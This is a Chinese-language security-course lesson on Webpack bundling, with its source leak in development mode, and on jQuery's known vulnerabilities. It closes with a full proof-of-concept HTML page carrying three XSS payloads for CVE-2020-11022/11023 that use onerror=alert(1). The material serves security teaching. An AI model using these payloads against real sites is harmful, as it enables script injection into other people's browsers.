第31天：安全开发-JS应用&WebPack打包器&第三方库JQuery&安装使用&安全检测

时间轴：

演示案例：

打包器-WebPack-使用&安全

第三方库-JQuery-使用&安全

打包器-WebPack-使用&安全

参考：https://mp.weixin.qq.com/s/J3bpy-SsCnQ1lBov1L98WA

Webpack 是一个模块打包器。在 Webpack 中会将前端的所有资源文件都作为模块处理。它将根据模块的依赖关系进行分析，生成对应的资源。

五个核心概念:

【入口(entry)】：指示 webpack 应该使用哪个模块，来作为构建内部依赖图开始。
【输出(output)】：在哪里输出文件，以及如何命名这些文件。
【Loader】：处理那些非 JavaScript 文件（webpack 自身只能解析 JavaScript 和 json）。webpack 本身只能处理 JS、JSON 模块，如果要加载其他类型的文件(模块)，就需要使用对应的 loader。
【插件(plugins)】：执行范围更广的任务，从打包到优化都可以实现。
【模式(mode)】：有生产模式 production 和开发模式 development。

development开发模式源码会泄露，production不会泄露源码。

使用：

1、创建需打包文件

2、安装 webpack 库

3、创建 webpack 配置文件

4、运行 webpack 打包命令

Webpack使用：

webpack就是减少了文件的调用，使用一个文件就可以包含其他文件的内容。

下面这两个放入js文件中：

sum.js:

javascript 复制代码

export default function sum(x,y){
    return x+y;
}

count.js:

javascript 复制代码

export default function count(x,y){
    return x-y;
}

main.js和js放在同一目录。

main.js:

javascript 复制代码

import count from "./js/count"; //调用js中的count函数
import sum from "./js/sum";     //调用js中的sum函数

console.log(count(2,1));
console.log(sum(2,1));

index.html:

html 复制代码

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
    <!-- <script src="src/js/sum.js"></script>
    <script src="src/js/count.js"></script> 
    <script src="src/main.js"></script> -->  //使用此函数将不用在一步步调用以上函数及文件
    <script src="dist/bundle.js"></script>   //使用打包得到的bundle.js
</body>
</html>

全局安装webpack：(在终端输入)

npm i webpack-cli -g

创建webpack.config.js(配置文件)（最好不要改名）

javascript 复制代码

const path = require('path'); // 引入path模块
// entry：输入是src下的mian文件
// output: 输出在dist文件夹下额bundle.js
module.exports = {
    entry: './src/main.js',
    output: {
        path: path.resolve(__dirname, 'dist'),   //将文件打包在dist目录下
        filename: 'bundle.js',
        clean: true,
    },
    mode:"development",    //源码会泄露
    //mode:"production",
    
};

运行使用：（在终端输入）

npx webpack

运行结果：

使用打包器和不适用打包器的区别：

使用打包器：

html 复制代码

<body>
    <script src="dist/bundle.js"></script>   //使用打包得到的bundle.js
</body>

不使用打包器：

html 复制代码

<body>
    <script src="src/js/sum.js"></script>
    <script src="src/js/count.js"></script> 
    <script src="src/main.js"></script>
</body>

development模式和production模式的区别：

development模式：

开发者模式几乎可以看到全部文件及内容（development）

production模式：（切换模式时需要重新打包）

只有(()=>{"use strict";console.log(1),console.log(3)})();直接显示结果

安全：

1、WebPack 源码泄漏-模式选择

development和production模式选择。

developmen会泄露源码，production不会泄露源码。

2、模糊提取安全检查-PacketFuzzer

https://github.com/rtcatc/Packer-Fuzzer

原生态 JS：前端语言直接浏览器显示源代码

NodeJS：服务段语言浏览器不显示源代码

WebPack：打包模式选择开发者模式后会造成源码泄漏（nodejs vue）

原本node.js是不会泄露源码的，但使用了development模式后可能会泄露源码。

真实案例：

顺丰快递（已被修复）

可以看到由vue进行的搭建

PacketFuzzer：

用来提取Web关键信息的。

第三方库-JQuery-使用&安全

jQuery 是一个快速、简洁的 JavaScript 框架,是一个丰富的 JavaScript 代码库。设计目的是为了写更少的代码，做更多的事情。它封装 JavaScript 常用功能代码，提供一种简便的 JavaScript 设计模式，优化 HTML 文档操作、事件处理、动画设计和 Ajax 交互。

1、使用：

引用路径：https://www.jq22.com/jquery-info122

2、安全：

检测：http://research.insecurelabs.org/jquery/test/

测试：

CVE-2020-11022/CVE-2020-11023

参考:

https://blog.csdn.net/weixin_44309905/article/details/120902867

jquery漏洞总结:
https://cloud.tencent.com/developer/article/1516331

如何搜索到第三方库：

搜索方式：

结果：

案例演示：Jquery不同版本漏洞

网页代码：

html 复制代码

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <title>jQuery XSS Examples (CVE-2020-11022/CVE-2020-11023)</title>
	<script src="https://code.jquery.com/jquery-3.5.1.min.js"></script>
    <!-- <script src="https://code.jquery.com/jquery-3.4.1.min.js"></script> -->
</head>
<body>
<script>
function test(n,jq){
    sanitizedHTML = document.getElementById('poc'+n).innerHTML;
    if(jq){
        $('#div').html(sanitizedHTML);
    }else{
        div.innerHTML=sanitizedHTML;
    }
}
</script>
<h1>jQuery XSS Examples (CVE-2020-11022/CVE-2020-11023)</h1>
<p>PoCs of XSS bugs fixed in <a href="https://blog.jquery.com/2020/04/10/jquery-3-5-0-released/">jQuery 3.5.0</a>. You can find the details in my blog post: <a href="//mksben.l0.cm/2020/05/jquery3.5.0-xss.html">English</a> / <a href="//masatokinugawa.l0.cm/2020/05/jquery3.5.0-xss.html">日本語</a></p>

<h2>PoC 1</h2>
<button onclick="test(1)">Assign to innerHTML</button> <button onclick="test(1,true)">Append via .html()</button>
<xmp id="poc1">
<style><style /><img src=yy onerror=alert(1)> 
</xmp>

<h2>PoC 2 (Only jQuery 3.x affected)</h2>
<button onclick="test(2)">Assign to innerHTML</button> <button onclick="test(2,true)">Append via .html()</button>
<xmp id="poc2">
<img alt="<x" title="/><img src=yy onerror=alert(1)>">
</xmp>

<h2>PoC 3</h2>
<button onclick="test(3)">Assign to innerHTML</button> <button onclick="test(3,true)">Append via .html()</button>
<xmp id="poc3">
<option><style></option></select><img src=yy onerror=alert(1)></style>
</xmp>

<div id="div"></div>
</body>
</html>